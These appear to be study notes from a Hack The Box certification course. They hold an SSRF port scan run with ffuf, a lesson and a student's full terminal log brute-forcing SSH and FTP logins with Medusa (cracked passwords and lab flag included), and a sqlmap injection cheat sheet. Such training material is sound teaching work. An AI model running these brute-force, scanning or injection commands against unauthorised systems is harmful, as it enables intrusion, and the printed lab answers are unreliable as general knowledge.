40 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 71ms]
27 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 75ms]
10 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 76ms]
26 [Status: 200, Size: 21, Words: 3, Lines: 1, Duration: 76ms]
Copy
// filter Word Count
┌──(kali㉿kali)-[/Gopherus]
└─$ ffuf -w /usr/share/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt -u http://10.129.30.48/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ&date=2024-01-01" -fw 3
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.129.30.48/index.php
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Infrastructure/Ports-1-To-65535.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : dateserver=http://127.0.0.1:FUZZ&date=2024-01-01
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3
________________________________________________
80 [Status: 200, Size: 52, Words: 8, Lines: 1, Duration: 4175ms]
5000 [Status: 200, Size: 52, Words: 8, Lines: 1, Duration: 61ms]
---
# Web Services | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services.md)
.
In the dynamic landscape of cybersecurity, maintaining robust authentication mechanisms is paramount. While technologies like Secure Shell (`SSH`) and File Transfer Protocol (`FTP`) facilitate secure remote access and file management, they are often reliant on traditional username-password combinations, presenting potential vulnerabilities exploitable through brute-force attacks. In this module, we will delve into the practical application of `Medusa`, a potent brute-forcing tool, to systematically compromise both SSH and FTP services, thereby illustrating potential attack vectors and emphasizing the importance of fortified authentication practices.
`SSH` is a cryptographic network protocol that provides a secure channel for remote login, command execution, and file transfers over an unsecured network. Its strength lies in its encryption, which makes it significantly more secure than unencrypted protocols like `Telnet`. However, weak or easily guessable passwords can undermine SSH's security, exposing it to brute-force attacks.
`FTP` is a standard network protocol for transferring files between a client and a server on a computer network. It's also widely used for uploading and downloading files from websites. However, standard FTP transmits data, including login credentials, in cleartext, rendering it susceptible to interception and brute-forcing.
### Kick-off[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#kick-off)
To follow along, start the target system via the question section at the bottom of the page.
We begin our exploration by targeting an SSH server running on a remote system. Assuming prior knowledge of the username `sshuser`, we can leverage Medusa to attempt different password combinations until successful authentication is achieved systematically.
The following command serves as our starting point:
Web Services
Copy
hack3rSWE@htb[/htb]$ medusa -h -n -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
Let's break down each component:
* `-h `: Specifies the target system's IP address.
* `-n `: Defines the port on which the SSH service is listening (typically port 22).
* `-u sshuser`: Sets the username for the brute-force attack.
* `-P 2023-200_most_used_passwords.txt`: Points Medusa to a wordlist containing the 200 most commonly used passwords in 2023. The effectiveness of a brute-force attack is often tied to the quality and relevance of the wordlist used.
* `-M ssh`: Selects the SSH module within Medusa, tailoring the attack specifically for SSH authentication.
* `-t 3`: Dictates the number of parallel login attempts to execute concurrently. Increasing this number can speed up the attack but may also increase the likelihood of detection or triggering security measures on the target system.
Web Services
Upon execution, Medusa will display its progress as it cycles through the password combinations. The output will indicate a successful login, revealing the correct password.
### Gaining Access[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#gaining-access)
With the password in hand, establish an SSH connection using the following command and enter the found password when prompted:
Web Services
This command will initiate an interactive SSH session, granting you access to the remote system's command line.
#### Expanding the Attack Surface[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#expanding-the-attack-surface)
Once inside the system, the next step is identifying other potential attack surfaces. Using `netstat` (within the SSH session) to list open ports and listening services, you discover a service running on port 21.
Web Services
Further reconnaissance with `nmap` (within the SSH session) confirms this finding as an ftp server.
Web Services
#### Targeting the FTP Server[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#targeting-the-ftp-server)
Having identified the FTP server, you can proceed to brute-force its authentication mechanism.
If we explore the `/home` directory on the target system, we see an `ftpuser` folder, which implies the likelihood of the FTP sever username being `ftpuser`. Based on this, we can modify our Medusa command accordingly:
Web Services
The key differences here are:
* `-h 127.0.0.1`: Targets the local system, as the FTP server is running locally. Using the IP address tells medusa explicitly to use IPv4.
* `-u ftpuser`: Specifies the username `ftpuser`.
* `-M ftp`: Selects the FTP module within Medusa.
* `-t 5`: Increases the number of parallel login attempts to 5.
#### Retrieving The Flag[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#retrieving-the-flag)
Upon successfully cracking the FTP password, establish an FTP connection. Within the FTP session, use the `get` command to download the `flag.txt` file, which may contain sensitive information.:
Web Services
Then read the file to get the flag:
Web Services
The ease with which such attacks can be executed underscores the importance of employing strong, unique passwords.
What was the password for the ftpuser?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#what-was-the-password-for-the-ftpuser)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
After successfully brute-forcing the ssh session, and then logging into the ftp server on the target, what is the full flag found within flag.txt?[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#after-successfully-brute-forcing-the-ssh-session-and-then-logging-into-the-ftp-server-on-the-target)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[PreviousMedusa](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa)
[NextCustom Wordlists](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/custom-wordlists)
Last updated 1 year ago
* [Kick-off](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#kick-off)
* [Gaining Access](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#gaining-access)
* [What was the password for the ftpuser?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#what-was-the-password-for-the-ftpuser)
* [After successfully brute-forcing the ssh session, and then logging into the ftp server on the target, what is the full flag found within flag.txt?](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services#after-successfully-brute-forcing-the-ssh-session-and-then-logging-into-the-ftp-server-on-the-target)
Copy
hack3rSWE@htb[/htb]$ medusa -h IP -n PORT -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
...
ACCOUNT FOUND: [ssh] Host: IP User: sshuser Password: 1q2w3e4r5t [SUCCESS]
Copy
hack3rSWE@htb[/htb]$ ssh sshuser@ -p PORT
Copy
hack3rSWE@htb[/htb]$ netstat -tulpn | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
Copy
hack3rSWE@htb[/htb]$ nmap localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-05 13:19 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000078s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
Copy
hack3rSWE@htb[/htb]$ medusa -h 127.0.0.1 -u ftpuser -P 2020-200_most_used_passwords.txt -M ftp -t 5
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
GENERAL: Parallel Hosts: 1 Parallel Logins: 5
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 197
...
ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ... Password: ... [SUCCESS]
...
GENERAL: Medusa has finished.
Copy
hack3rSWE@htb[/htb]$ ftp ftp://ftpuser:@localhost
Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||25926|)
150 Here comes the directory listing.
-rw------- 1 1001 1001 35 Sep 05 13:17 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||37251|)
150 Opening BINARY mode data connection for flag.txt (35 bytes).
100% |***************************************************************************| 35 776.81 KiB/s 00:00 ETA
226 Transfer complete.
35 bytes received in 00:00 (131.45 KiB/s)
ftp> exit
221 Goodbye.
Copy
hack3rSWE@htb[/htb]$ cat flag.txt
HTB{...}
Copy
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ medusa -h
bash: medusa: command not found
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ sudo apt-get -y update
Hit:1 http://deb.debian.org/debian testing InRelease
Hit:2 https://download.docker.com/linux/debian bookworm InRelease
Hit:3 https://packages.microsoft.com/ubuntu/20.04/prod focal InRelease
Get:4 https://debian.neo4j.com stable InRelease [44.3 kB]
Hit:5 http://repo.mongodb.org/apt/debian bullseye/mongodb-org/7.0 InRelease
Hit:6 https://deb.parrot.sh/parrot lory InRelease
Err:4 https://debian.neo4j.com stable InRelease
The following signatures were invalid: EXPKEYSIG 59D700E4D37F5F19 Neo4j Admins
Hit:7 https://deb.parrot.sh/direct/parrot lory-security InRelease
Hit:8 https://deb.parrot.sh/parrot lory-backports InRelease
Fetched 44.3 kB in 1s (56.6 kB/s)
Reading package lists... Done
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://debian.neo4j.com stable InRelease: The following signatures were invalid: EXPKEYSIG 59D700E4D37F5F19 Neo4j Admins
W: Failed to fetch https://debian.neo4j.com/dists/stable/InRelease The following signatures were invalid: EXPKEYSIG 59D700E4D37F5F19 Neo4j Admins
W: Some index files failed to download. They have been ignored, or old ones used instead.
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ sudo apt-get -y install hydra
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
hydra is already the newest version (9.4-1).
0 upgraded, 0 newly installed, 0 to remove and 298 not upgraded.
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ sudo apt-get -y install medua
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package medua
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ sudo apt-get -y install medusa
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
medusa
0 upgraded, 1 newly installed, 0 to remove and 298 not upgraded.
Need to get 154 kB of archives.
After this operation, 813 kB of additional disk space will be used.
Get:1 https://deb.parrot.sh/parrot lory/main amd64 medusa amd64 2.2-7+b1 [154 kB]
Fetched 154 kB in 2s (72.8 kB/s)
Selecting previously unselected package medusa.
(Reading database ... 595351 files and directories currently installed.)
Preparing to unpack .../medusa_2.2-7+b1_amd64.deb ...
Unpacking medusa (2.2-7+b1) ...
Setting up medusa (2.2-7+b1) ...
Processing triggers for man-db (2.11.2-2) ...
Scanning application launchers
Removing duplicate launchers or broken launchers
Launchers are updated
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ medusa -h 94.237.52.137 -n 55611 -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123456 (1 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12345678 (2 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: admin (3 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123456789 (4 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12345 (5 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1234 (6 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: password (7 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123 (8 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Aa123456 (9 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1234567 (10 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: UNKNOWN (11 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1234567890 (12 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123123 (13 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 111111 (14 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Password (15 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12345678910 (16 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 000000 (17 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: admin123 (18 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1111 (19 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: ******** (20 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: user (21 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: P@ssw0rd (22 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: root (23 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 654321 (24 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: qwerty (25 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Pass@123 (26 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: ****** (27 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 102030 (28 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 112233 (29 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: ubnt (30 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Aa@123456 (31 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: abc123 (32 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: abcd1234 (33 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1q2w3e4r (34 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123321 (35 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: err (36 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: qwertyuiop (37 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 87654321 (38 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 987654321 (39 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Eliska81 (40 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123123123 (41 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 11223344 (42 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 987654321 (43 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: demo (44 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12341234 (45 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1q2w3e4r5t (46 of 200 complete)
ACCOUNT FOUND: [ssh] Host: 94.237.52.137 User: sshuser Password: 1q2w3e4r5t [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 1 complete) Password: Admin@123 (47 of 200 complete)
ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 1 complete) Password: qwerty123 (48 of 200 complete)
Copy
// Some code
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ ssh sshuser@94.237.52.137 55611
The authenticity of host '94.237.52.137 (94.237.52.137)' can't be established.
ED25519 key fingerprint is SHA256:OSeJNmz8HvYwPwWH80h/D8zvhXd5bgVV9QTlOlqMl74.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '94.237.52.137' (ED25519) to the list of known hosts.
sshuser@94.237.52.137: Permission denied (publickey).
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ ssh sshuser@94.237.52.137 -p
option requires an argument -- p
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command [argument ...]]
┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~]
└──╼ [★]$ ssh sshuser@94.237.52.137 -p 55611
The authenticity of host '[94.237.52.137]:55611 ([94.237.52.137]:55611)' can't be established.
ED25519 key fingerprint is SHA256:2DP/wThlQCF/4IvGaF49XZcQO0bREny3YAZ1wSonr2g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[94.237.52.137]:55611' (ED25519) to the list of known hosts.
sshuser@94.237.52.137's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Thu Dec 12 01:08:18 2024 from 10.30.18.251
sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ netstat -tulpn | grep LISTEN
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ nmap localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-12 01:23 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00012s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ medusa -h 127.0.0.1 -u ftpuser -P 2020-200_most_used_passwords.txt -M ftp -t 5
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 123456 (1 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: picture1 (2 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 123456789 (3 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: password (4 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 12345678 (5 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 111111 (6 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 123123 (7 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 12345 (8 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 1234567890 (9 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: senha (10 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 1234567 (11 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: qwerty (12 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: abc123 (13 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: Million2 (14 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 000000 (15 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: qqww1122 (16 of 197 complete)
ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ftpuser Password: qqww1122 [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 1 complete) Password: 1234 (17 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 1 complete) Password: iloveyou (18 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 1 complete) Password: aaron431 (19 of 197 complete)
ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 1 complete) Password: password1 (20 of 197 complete)
sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ ftp ftp://ftpuser:qqww1122@localhost
Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.5)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||56972|)
150 Here comes the directory listing.
-rw------- 1 1001 1001 35 Dec 12 00:53 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||49645|)
150 Opening BINARY mode data connection for flag.txt (35 bytes).
100% |**********************************************| 35 876.40 KiB/s 00:00 ETA
226 Transfer complete.
35 bytes received in 00:00 (192.02 KiB/s)
ftp> exit
221 Goodbye.
sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ ls
2020-200_most_used_passwords.txt flag.txt
sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ cat flag.txt
HTB{SSH_and_FTP_Bruteforce_Success}sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~ssssshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$
---
# Cheat Sheet | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/cheat-sheet.md)
.
Good write up on the module
[SQLMap Essentials - Hack The DomeHack The Dome](http://hackthedome.com/sqlmap-essentials/)
Good write up on the skills assesment
[https://medium.com/@colegrim/htb-skills-assessment-sqlmap-essentials-29320e8cd133medium.com](https://medium.com/@colegrim/htb-skills-assessment-sqlmap-essentials-29320e8cd133)
**Cheat Sheet**
The cheat sheet is a useful command reference for this module.
**Command**
**Description**
`sqlmap -h`
View the basic help menu
`sqlmap -hh`
View the advanced help menu
`sqlmap -u "http://www.example.com/vuln.php?id=1" --batch`
Run `SQLMap` without asking for user input
`sqlmap 'http://www.example.com/' --data 'uid=1&name=test'`
`SQLMap` with POST request
`sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'`
POST request specifying an injection point with an asterisk
`sqlmap -r req.txt`
Passing an HTTP request file to `SQLMap`
`sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'`
Specifying a cookie header
`sqlmap -u www.target.com --data='id=1' --method PUT`
Specifying a PUT request
`sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt`
Store traffic to an output file
`sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch`
Specify verbosity level
`sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"`
Specifying a prefix or suffix
`sqlmap -u www.example.com/?id=1 -v 3 --level=5`
Specifying the level and risk
